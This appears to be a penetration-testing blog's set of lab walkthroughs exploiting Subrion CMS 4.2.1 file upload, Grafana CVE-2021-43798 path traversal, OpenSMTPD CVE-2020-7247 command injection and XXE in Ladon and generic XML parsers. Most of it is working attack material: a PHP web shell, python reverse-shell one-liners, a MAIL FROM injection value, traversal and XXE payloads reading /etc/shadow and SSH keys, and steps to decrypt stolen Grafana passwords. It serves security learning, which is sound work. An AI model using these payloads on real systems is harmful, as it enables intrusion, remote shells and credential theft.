Subrion CMS 4.2.1 – Arbitrary File Upload (Authenticated) – 2018-19422

Subrion CMS could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /panel/uploads URI. By sending a specially-crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Affect version

  • 4.2.1


1. To identify the version of the Subrion application you can navigate to /panel/

  • http://ip/panel/
  • http://exfiltrated.offsec/login/

2. You can use curl to get the page info

  • curl http://exfiltrated.offsec/panel/ | grep -i Subrion

Exploitation (Script)

1. Now that we know the Subrion CMS version we can proceed search for exploits that apply

  • searchsploit Subrion 4.2.1

2. Looking at the results, I would use the “Arbitrary File Upload”, (, so, I download it

  • searchsploit -m php/webapps/
  • python

3. After successful download, we proceed to test the script, we need to provide the credentials as this is an authenticated attack. You can brute force the credentials or try to use the default ones, admin/admin, in my case the default credentials were set

  • python -u http://exfiltrated.offsec/panel/ -l admin -p admin
  • whoami

Exploitation (Manual)

1. Having already the credentials proceed to log into the Subrion CMS console

  • http://exfiltrated.offsec/panel/
  • admin/admin

2. Once, authenticated, go to http://[address]:[port]/[app_path]/panel/uploads

  • http://exfiltrated.offsec/panel/uploads/

3. We will create a php file that prints text as a Proof of Concept, the file extension should be either pht or .phar

  • vi php_poc.phar
  • cat php_poc.phar
  • <?php echo "Vry4n was here!"; ?>

4. Proceed to upload it to Subrion CMS, and check the location, in this case (uploads/php_poc.phar)

5. Navigate to that location, as you can see code has been executed

  • http://exfiltrated.offsec/uploads/php_poc.phar

6. Now we can try to upload a basic line of code to proof we can run commands

  • vi php_code.phar
  • cat php_code.phar
  • <?php system($_GET['cmd']); ?>

7. Repeat the upload step, and visit the file, then use the variable cmd followed by the command you need

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=whoami

8. We can run a python reverse shell, start a local listener in our attacking machine

  • nc -lvp 1234

9. I used to create a python3 reverse shell

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • whoami


1. We can try to use a webshell, we will edit the one in our local Kali machine /usr/share/webshells/php/php-reverse-shell.php

  • cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/php-reverse-shell.php
  • cd ~/Desktop
  • mv php-reverse-shell.php php-reverse-shell.phar
  • vi php-reverse-shell.phar

2. Start a listener

  • nc -lvp 1234

3. Upload it to the Subrion CMS, and then execute the .phar file, we should have a connection back

  • http://exfiltrated.offsec/uploads/php-reverse-shell.phar
  • whoami


No remedy available as of November 14, 2018.



Grafana 8.3.0 – Directory Traversal and Arbitrary File Read – CVE-2021-43798

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.

Every Grafana instance comes with pre-installed plugins like the Prometheus plugin or MySQL plugin so the following URLs are vulnerable for every instance:

  • <grafana_host_url>/public/plugins/alertlist/
  • <grafana_host_url>/public/plugins/annolist/
  • <grafana_host_url>/public/plugins/barchart/
  • <grafana_host_url>/public/plugins/bargauge/
  • <grafana_host_url>/public/plugins/candlestick/
  • <grafana_host_url>/public/plugins/cloudwatch/
  • <grafana_host_url>/public/plugins/dashlist/
  • <grafana_host_url>/public/plugins/elasticsearch/
  • <grafana_host_url>/public/plugins/gauge/
  • <grafana_host_url>/public/plugins/geomap/
  • <grafana_host_url>/public/plugins/gettingstarted/
  • <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
  • <grafana_host_url>/public/plugins/graph/
  • <grafana_host_url>/public/plugins/heatmap/
  • <grafana_host_url>/public/plugins/histogram/
  • <grafana_host_url>/public/plugins/influxdb/
  • <grafana_host_url>/public/plugins/jaeger/
  • <grafana_host_url>/public/plugins/logs/
  • <grafana_host_url>/public/plugins/loki/
  • <grafana_host_url>/public/plugins/mssql/
  • <grafana_host_url>/public/plugins/mysql/
  • <grafana_host_url>/public/plugins/news/
  • <grafana_host_url>/public/plugins/nodeGraph/
  • <grafana_host_url>/public/plugins/opentsdb
  • <grafana_host_url>/public/plugins/piechart/
  • <grafana_host_url>/public/plugins/pluginlist/
  • <grafana_host_url>/public/plugins/postgres/
  • <grafana_host_url>/public/plugins/prometheus/
  • <grafana_host_url>/public/plugins/stackdriver/
  • <grafana_host_url>/public/plugins/stat/
  • <grafana_host_url>/public/plugins/state-timeline/
  • <grafana_host_url>/public/plugins/status-history/
  • <grafana_host_url>/public/plugins/table/
  • <grafana_host_url>/public/plugins/table-old/
  • <grafana_host_url>/public/plugins/tempo/
  • <grafana_host_url>/public/plugins/testdata/
  • <grafana_host_url>/public/plugins/text/
  • <grafana_host_url>/public/plugins/timeseries/
  • <grafana_host_url>/public/plugins/welcome/
  • <grafana_host_url>/public/plugins/zipkin/

Affected Products

  • All installations between v8.0.0-beta1 and v8.3.0 should be upgraded as soon as possible.
  • Grafana Grafana 8.0.0
  • Grafana Grafana 8.3.0


1. We can reach the log in screen and find out about the Grafana version, in our case this is using port 3000 (Version v8.3.0 (914fcedb72))


2. Using curl we can also query the /login page

  • curl | grep "Grafana v"

Exploit (Script)

1. Having identified the version of the application, we can confirm if this application is vulnerable, we will use an automated exploit ( , I will download it using searchsploit

  • searchsploit grafana
  • searchsploit -m multiple/webapps/

2. Now, we can try to use the script to read files

  • python -H
  • /etc/passwd

3. We can try all the known readable config files to find interesting information. At this point we will try to find Grafana config files, based on their documentation ( , /etc/grafana/grafana.ini seems to be interesting, since it can hold user/password info under Security section

  • python -H
  • /etc/grafana/grafana.ini

Exploit (Manual)

1. We can use curl to read files

  • curl --path-as-is

2. We can try to read a database file and store it in our PC, this is grafana database

  • curl --path-as-is -o grafana.db
  • ls -l grafana.db

3. Now we can use sqlite3 to read this database file, there is a data_source table that holds user information

  • sqlite3 grafana.db
  • .tables
  • select * from data_source;

Note: Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default.

4. Having the Password & Username, we can proceed to decrypt it

  • basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
  • sysadmin

Decrypt the password using a script

1. We can now decrypt the password using a script found on the internet (

  • git clone
  • cd Grafana-CVE-2021-43798
  • ls

2. Try to run the script, if you run into errors, it might indicate you need to install dependencies

  • go run AESDecrypt.go
  • go env -w GO111MODULE=off
  • go run AESDecrypt.go

3. As we got the error (cannot find package "" in any of), we will try to install pbkdf2

  • go get

4. Now try to run the application

  • go run AESDecrypt.go

5. Since the script includes variables with default values we need to change those to match our credentials:

  • secret_key (found in /etc/grafana/grafana.ini) = SW2YcwTIb9zpOOhoPsMm
  • dataSourcePassword (found in /var/lib/grafana/grafana.db) = anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

6. Edit the script

  • vi AESDecrypt.go

7. Run the script again, the results should be the decrypted password

  • go run AESDecrypt.go

8. (EXTRA) The result is SuperSecureP@ssw0rd, we can try using this password and the user (found in /var/lib/grafana/grafana.db) to SSH this host

  • ssh sysadmin@

(EXTRA) Interesting folder/file for LFI

  • /conf/defaults.ini
  • /etc/grafana/grafana.ini
  • /etc/passwd
  • /etc/shadow
  • /home/grafana/.bash_history
  • /home/grafana/.ssh/id_rsa
  • /root/.bash_history
  • /root/.ssh/id_rsa
  • /usr/local/etc/grafana/grafana.ini
  • /var/lib/grafana/grafana.db
  • /proc/net/fib_trie
  • /proc/net/tcp
  • /proc/self/cmdline

these are directories, FUZZING them can help discover plugins)

  • /usr/share/grafana/public/app/plugins/datasource
  • /usr/share/grafana/public/app/plugins/

(EXTRA) Different ways to exploit LFI

  • /public/plugins/alertGroups/../../../../../../../../etc/passwd
  • /public/plugins/alertlist/../../../../../../../../etc/passwd
  • /public/plugins/alertmanager/../../../../../../../../etc/passwd
  • /public/plugins/annolist/../../../../../../../../etc/passwd
  • /public/plugins/barchart/../../../../../../../../etc/passwd
  • /public/plugins/bargauge/../../../../../../../../etc/passwd
  • /public/plugins/canvas/../../../../../../../../etc/passwd
  • /public/plugins/cloudwatch/../../../../../../../../etc/passwd
  • /public/plugins/dashboard/../../../../../../../../etc/passwd
  • /public/plugins/dashlist/../../../../../../../../etc/passwd
  • /public/plugins/debug/../../../../../../../../etc/passwd
  • /public/plugins/elasticsearch/../../../../../../../../etc/passwd
  • /public/plugins/gauge/../../../../../../../../etc/passwd
  • /public/plugins/geomap/../../../../../../../../etc/passwd
  • /public/plugins/gettingstarted/../../../../../../../../etc/passwd
  • /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
  • /public/plugins/grafana/../../../../../../../../etc/passwd
  • /public/plugins/graph/../../../../../../../../etc/passwd
  • /public/plugins/graphite/../../../../../../../../etc/passwd
  • /public/plugins/heatmap/../../../../../../../../etc/passwd
  • /public/plugins/histogram/../../../../../../../../etc/passwd
  • /public/plugins/influxdb/../../../../../../../../etc/passwd
  • /public/plugins/jaeger/../../../../../../../../etc/passwd
  • /public/plugins/live/../../../../../../../../etc/passwd
  • /public/plugins/logs/../../../../../../../../etc/passwd
  • /public/plugins/loki/../../../../../../../../etc/passwd
  • /public/plugins/mixed/../../../../../../../../etc/passwd
  • /public/plugins/mssql/../../../../../../../../etc/passwd
  • /public/plugins/mysql/../../../../../../../../etc/passwd
  • /public/plugins/news/../../../../../../../../etc/passwd
  • /public/plugins/nodeGraph/../../../../../../../../etc/passwd
  • /public/plugins/opentsdb/../../../../../../../../etc/passwd
  • /public/plugins/piechart/../../../../../../../../etc/passwd
  • /public/plugins/pluginlist/../../../../../../../../etc/passwd
  • /public/plugins/postgres/../../../../../../../../etc/passwd
  • /public/plugins/prometheus/../../../../../../../../etc/passwd
  • /public/plugins/stat/../../../../../../../../etc/passwd
  • /public/plugins/state-timeline/../../../../../../../../etc/passwd
  • /public/plugins/status-history/../../../../../../../../etc/passwd
  • /public/plugins/table-old/../../../../../../../../etc/passwd
  • /public/plugins/table/../../../../../../../../etc/passwd
  • /public/plugins/tempo/../../../../../../../../etc/passwd
  • /public/plugins/testdata/../../../../../../../../etc/passwd
  • /public/plugins/text/../../../../../../../../etc/passwd
  • /public/plugins/timeseries/../../../../../../../../etc/passwd
  • /public/plugins/welcome/../../../../../../../../etc/passwd
  • /public/plugins/xychart/../../../../../../../../etc/passwd
  • /public/plugins/zipkin/../../../../../../../../etc/passwd


Upgrade to the latest version of Grafana (8.0.7, 8.1.8, 8.2.7, 8.3.1 or later). If you cannot upgrade, running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability.



OpenSMTPD < 6.6.1 - Remote Code Execution (smtp_mailaddr) - CVE-2020-7247

OpenSMTPD could allow a remote attacker to gain elevated privileges on the system, caused by improper handling of user input. By sending a specially-crafted mail request, an attacker could exploit this vulnerability to execute arbitrary code on the system as root.

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Affected Products

  • OpenSMTPD OpenSMTPD 6.4.0
  • OpenSMTPD OpenSMTPD 6.4.1
  • OpenSMTPD OpenSMTPD 6.4.2
  • OpenSMTPD OpenSMTPD 6.6.0
  • OpenSMTPD OpenSMTPD 6.6.1


1. Running a vulnerability scanner against the remote vulnerable server, in this case we are using Nessus

2. We can also Identify this vulnerability using Nmap, in this case the smtp version is 2.0.0

  • nmap -p 25 --script smtp-commands

Exploitation Script

1. Knowing the service version, we can try to exploit this service, using an automated exploit (

  • searchsploit smtpd
  • searchsploit -m linux/remote/

2. This exploit will allow us to execute remote code, first make sure it is executable, otherwise, assign execute permissions

  • ls -l
  • (OPTIONAL) chmod 777

3. Since, we are allowed to run commands we will first Ping test back to our machine. So first start a TCPdump listener waiting for ICMP traffic

  • sudo tcpdump -i tun0 icmp and src

4. Now, execute the exploit, and point the ping command to our local machine

  • python 25 'ping -c 4'

5. Check the capture, and, confirm it captured ICMP traffic

6. We should proceed with trying to access the server, I’ll try a reverse shell to port 80, because, after testing this server didn’t allow any other port

  • nc -lvp 80

7. Run the exploit with the reverse shell query, I’ll use python

  • python 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

7. Now, check the listener, we should have a new session

  • whoami

Exploitation Manual

1. In order to exploit manually, we need to connect to the STMP service using telnet

  • telnet 25

2. Since we will do a ping test we will start a capture on our local machine

  • sudo tcpdump -i tun0 icmp and src

3. In the SMTP session run the following commands (note the return code should be 250)

  • HELO x
  • MAIL FROM:<;ping -c 4;>
  • RCPT TO:<root>
  • DATA
  • <enter>
  • vry4n
  • .
  • QUIT

4. Look at the capture, we should now see some output

5. Instead of the ping command, you can run any other commands like a reverse shell, or create new users, as this is run as root


Upgrade to the latest version of OpenSMTPD (6.6.2 or later)


(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">









Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected


1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd "Vry4n">


<soapenv:Envelope xmlns:xsi=\"\"




<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -


1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">


<soapenv:Envelope xmlns:xsi=\"\"





<urn:checkout soapenv:encodingStyle=\"\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav


No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml




XML external entity (XXE) injection

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to:

  • view files on the application server filesystem
  • interact with any back-end or external systems that the application itself can access.
  • access internal networks
  • scan internal ports
  • execute commands on a remote server (rarely)
  • perform SSRF attacks
  • exfiltrate data out-of-band
  • retrieve data via error messages

Lista de payloads para inyecciones XXE (XML External Entity)

XXE Injection is not limited to Web Applications; anywhere there is an XML Parser (web, host, software), the potential for XXE exists.

How do XXE vulnerabilities arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server.

  • XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD

An application will be vulnerable to XXE attacks, if:

  • a developer configured an XML parser in such a way that it insecurely processes external entities
  • an attacker can directly/indirectly pass compromised data to the parser

What is XML?

XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data.

  • Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history
  • XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
  • XML is a markup language similar to HTML
  • XML was designed to store and transport data
  • XML was designed to be self-descriptive
  • XML is a W3C Recommendation

XML (Extensible Markup Language) is a very popular data format. It is used in:

  • web services (XML-RPC, SOAP, REST)
  • documents (XML, HTML, DOCX)
  • image files (SVG, EXIF data).

To interpret XML data, an application needs an XML parser (also known as the XML processor).

The following is an example output of a simple web application that accepts XML input, parses it, and outputs the result.

What are XML entities?

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language.

  • The entities &lt; and &gt; represent the characters < and >. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.

ENTITYs can be used without the formality of a full .dtd file. By calling DOCTYPE and using square brackets [], you can reference ENTITY tags for use in only that XML file.

Note: Think of it as a variable in programming.

What are XML elements?

Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example:

  • <!ELEMENT stockCheck ANY> Means that any object could be inside the parent <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> Means that it should be empty <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> Declares that <stockCheck> can have the children <productId> and <storeId>

What is document type definition?

The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be

  • fully self-contained within the document itself (known as an "internal DTD")
  • can be loaded from elsewhere (known as an "external DTD")
  • can be hybrid of the two.

XML files may contain the document type definition (DTD), which describes the structure of an XML file. DTD allows us to define and use XML entities.

DTD files are a special type of XML file that contain information about the format or structure of XML. These DTD files can contain an element called an ENTITY.

  • DTD files can be external or internal to an XML file
  • ENTITYs exist within DTD files
  • ENTITYs can call local system files

What are XML custom entities?

XML allows custom entities to be defined within the DTD.

  • <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Note: This definition means that any usage of the entity reference &myEntity; within the XML document will be replaced with the defined value: "lol".

What are XML external entities?

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "" > ]>

The URL can use the file:// protocol, and so external entities can be loaded from file.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

you can use other protocols besides http such as file.

If an XML parser (reader) processes external entities, this is a security flaw. Below is an XML file that can be used to compromise an application:

What are XML Parameter entities?

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things.

1. the declaration of an XML parameter entity includes the percent character before the entity name:

  • <!ENTITY % myparameterentity "my parameter entity value" >

2. parameter entities are referenced using the percent character instead of the usual ampersand: %myparameterentity;

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

  • <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM ""> %xxe; ]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

Exploiting XXE to retrieve files

To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways:

  • Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.
  • Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version="1.0" encoding="UTF-8"?>


The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>


This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value.

Here you have a summary of the steps to take

  • Intercept the vulnerable POST request with a web proxy (Burpsuite, Zap, etc)
  • Add the injected ENTITY tag and &xxe; variable reference.
    • Ensure the &xxe; reference is with data that will be returned and displayed
  • Release the intercepted POST request

Payload Breakdown

  • 1st part : <?xml version="1.0"?> Declaring used XML version .
  • 2nd part : <!DOCTYPE contacts[ Defining that the root element of the document is contacts .
  • 3rd part : <!ENTITY foo Declaring an entity called foo .
  • 4th part : SYSTEM "file:///etc/passwd" The system command is used to declare external entities (from outside the xml document) and it takes a URL as its input .
  • 5th part : <name>&foo;</name> Calling the pre-defined entity which has the content of /etc/passwd .

Interesting files to read

Credentials: passwd is a file that is universally present on Linux operating system.

  • file:///etc/passwd
  • file:///etc/shadow (Feeling lucky)

Hostnames, DNS resolvers and network devices information can give precious information to discover additional assets.

  • file:///etc/hosts
  • file:///etc/resolv.conf
  • file:///proc/self/net/dev : Include public and internal IP

The /proc virtual filesystem include various files describing the current process.

  • file:///proc/self/cwd/FILE : Relative paths are likely to work. file:///proc/self/cwd/ is an alternative to ./.
  • file:///proc/self/cmdline : This virtual file is returning the command and the arguments used to start the process.
  • file:///proc/self/environ : Environment defined in the context of the current process.

There are few files that are containing the system version. These are also files with no special characters (Useful for testing).

  • file:///proc/version
  • file:///etc/lsb-release
  • file:///etc/issue

For testing purpose, it might be interesting to read virtual file with infinite content. The objective of the attacker would be to either do time based detection or create some sort of Denial of Service (DOS).

  • file:///dev/urandom & file:///dev/zero

Extra: Protocols to use

Here is an exhaustive list of protocols that could be useful when exploiting XXE.

file: protocol

Access file with relative or absolute path

  • file:///etc/passwd
  • file://C:/Windows/System32/inetsrv/config/applicationHost.config

http: protocol

Nothing surprising here. You can trigger GET request to HTTP service. While it can be a starting point for Server Side Request Forgery (SSRF), the response is not likely to be readable. Most webpages are not perfectly XML valid.

  • https://localhost/phpMyAdmin/

Note: AWS metadata URLs now require a special header. It is unlikely that you will be able to access it with XXE.

ftp: protocol

This protocol allows you to connect to a FTP server to read file (would require to know the exact file location and credentials to authenticate) or exfiltrate data (see the next exercise).


gopher: protocol

Another option for data exfiltration is the gopher protocol. It allows to connect to any server with a TCP with an arbitrary message. The path section of the URL is the data that will be written to the TCP socket. It is rarely available as it requires very old versions of Java.

  • gopher://server/?data

jar: protocol

The jar protocol is a very special case. It is only available on Java applications. It allows to access files inside a PKZIP archive (.zip, .jar, ...). You will see in the last exercise how it can be used to write files to a remote server.

  • jar:file://./!

netdoc: protocol

This protocol is alternative to the file:// protocol. It is of limited use. It is often cited as a method to bypass some WAF blocking for specific string such as file:///etc/passwd.

  • netdoc:///etc/passwd

Example 0 (test entity)

1. This is the most basic for of XXE

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY show "3"> ]>






Example 1

1. for this demo we will use an application that accepts XML data and parses it. The application is included in ( . We will download the application in our Linux machine

  • cd /var/www/html/
  • sudo git clone

2. Start apache service

  • sudo service apache2 start
  • sudo service apache2 status

3. Access http://<IP>/xxe-tool from a web browser


4. Here I can test some XML code, click send

5. The input is parsed

6. We can capture this request with a web proxy, I’ll use BurpSuite

7. Send the request to repeater

8. Test different payloads, I’ll use the basic code that includes the external entities, I encoded it using URL encoding

  • <?xml version="1.0"?>
  • <!DOCTYPE change [
  • <!ENTITY systementity SYSTEM "file:///etc/passwd">
  • ]>
  • <change> <text>&systementity;</text>; </change>

8. We can enter the code directly to the tool

9. The output would be

10. Based on the above example if the XML parser is allowed to parse the external entities an attacker can easily pass any local file system as an entity and the parser will display the content of the file as output.

Example 2

1. If the file “id_rsa” located in /home/<user>/.ssh/ is accessible we could user that to log in as the user.

<?xml version="1.0"?>

<!DOCTYPE change [<!ENTITY systementity SYSTEM "file:////home/vry4n/.ssh/id_rsa">


<change> <text>&systementity;</text></change>

2. The output would be

3. Copy this into a new file

  • vi id_rsa
  • cat id_rsa

4. Change the permissions on this file, then, use it to log in

  • chmod 600 id_rsa
  • ssh -i id_rsa vry4n@

Note: When you are prompted to confirm the connection, type yes and then press Enter. If your SSH key requires a password, enter it when prompted to complete the connection.

Example 3

1. We can also read system file like this

<?xml version="1.0" ?>

<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>


Example 4

1. This example shows an application that accepts XML and parses it as HTML. It uses an external URL to download the data

2. When you click on read this is what is displayed

3. Capturing the request we find that it supports XML

4. We will send this to repeater

5. Now in my local machine, I will set a .xml file and start a web server, so, I can use that as reference for the site.

  • vi test.xml
  • cat test.xml
  • python3 -m http.server 8888

6. Now reference test.xml, and, look for the output on screen

Example 1: request

Example 1: result

Example 2: request & response

7. Confirm external entities are enabled. I will place text (Vry4n again!) and try to print it on screen

  • vi test.xml
  • cat test.xml

8. The result should be our string

9. Now that we know we can call external entities, we will proceed and run it with SYSTEM to read a file

  • vi test.xml
  • cat test.xml

10. The result of this query will be the output of /etc/passwd file

11. This is how it displays in the site

Extract data as base64 (PHP)

XXE have major limitations regarding which file can be read. In general, you can't read non-ASCII characters or special characters that are not XML compatible.

1. This one should be useful to extract a file if the web server is using PHP

<?xml version="1.0" ?>

<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>



2. Decode the whole string, using base64 Linux command

  • echo "<base64>" | base64 -d

Declaring an Element as ANY

1. Here we can start by declaring an element called stockCheck, also we proceed to create an entity after that

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE data [

<!ELEMENT stockCheck ANY>

<!ENTITY file SYSTEM "file:///etc/passwd">






RCE (Remote Code Execution)

1. If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>





Note: With real-world XXE vulnerabilities, there will often be a large number of data values within the submitted XML, any one of which might be used within the application's response. To test systematically for XXE vulnerabilities, you will generally need to test each data node in the XML individually, by making use of your defined entity and seeing whether it appears within the response.

Directory Listing (Java)

In Java, it might be possible to list the contents of a directory via XXE with a payload like:

<!-- Root / -->

  • <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->

  • <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>


1. The attacker can achieve SSRF by making the input to system command an external URL, This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value.


In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

  • <!DOCTYPE foo [ <!ENTITY xxe SYSTEM ""> ]>

Jar protocol

The jar protocol is only available on Java applications. It allows to access files inside a PKZIP file (.zip, .jar, ...).

local file..

  • jar:file:///var/!/file.txt

remote file..

  • jar:!/file.txt

Behind the scenes

What is happening behind the scenes with the HTTP URL with a remote ZIP? There are in fact multiple steps that lead to the file being extracted.

  • It makes an HTTP request to load the zip archive.
  • It saves the HTTP response to a temporary location. /tmp/...
  • It extracts of the archive.
  • It reads the
  • It delete temporary files.

Writing files in a temporary directory can help escalate another vulnerability that involves a path traversal (such as local file include, template injection, XSLT RCE, deserialization, etc).

Complement: XSLT RCE

